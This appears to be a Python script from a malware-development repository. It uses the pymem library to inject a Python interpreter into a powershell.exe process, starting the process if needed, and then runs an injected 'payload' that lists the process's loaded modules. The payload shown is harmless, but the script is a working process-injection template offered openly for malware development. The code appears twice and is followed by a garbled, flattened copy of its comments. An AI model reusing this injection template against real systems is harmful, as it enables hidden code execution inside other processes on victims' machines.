<reponame>shownadda/Malware-Dev
## Python Console Injection
##By ShowNadda

#Global Variables
import pymem
import subprocess
import os
import code

#Try statement so if the process being injected isn't already open, this opens it
try:
    mem = pymem.Pymem("powershell.exe") #The Process being injected
except:
    os.system("powershell.exe")
    mem = pymem.Pymem("powershell.exe")

mem.inject_python_interpreter()

#The Python code to Inject
code = """
from pymem import pymem
pm = pymem.Pymem('powershell.exe')
modules = list(pm.list_modules())
for module in modules:
    print(module.name)
"""
#Executes the Payload
mem.inject_python_shellcode(code)

## Python Console Injection
##By ShowNadda

#Global Variables
import pymem
import subprocess
import os
import code

#Try statement so if the process being injected isn't already open, this opens it
try:
    mem = pymem.Pymem("powershell.exe") #The Process being injected
except:
    os.system("powershell.exe")
    mem = pymem.Pymem("powershell.exe")

mem.inject_python_interpreter()

#The Python code to Inject
code = """
from pymem import pymem
pm = pymem.Pymem('powershell.exe')
modules = list(pm.list_modules())
for module in modules:
    print(module.name)
"""
#Executes the Payload
mem.inject_python_shellcode(code)
## Python Console Injection ##By ShowNadda #Global Variables #Try statement so if the process being injected isn't already open, this opens it #The Process being injected #The Python code to Inject from pymem import pymem pm = pymem.Pymem('powershell.exe') modules = list(pm.list_modules()) for module in modules:     print(module.name) #Executes the Payload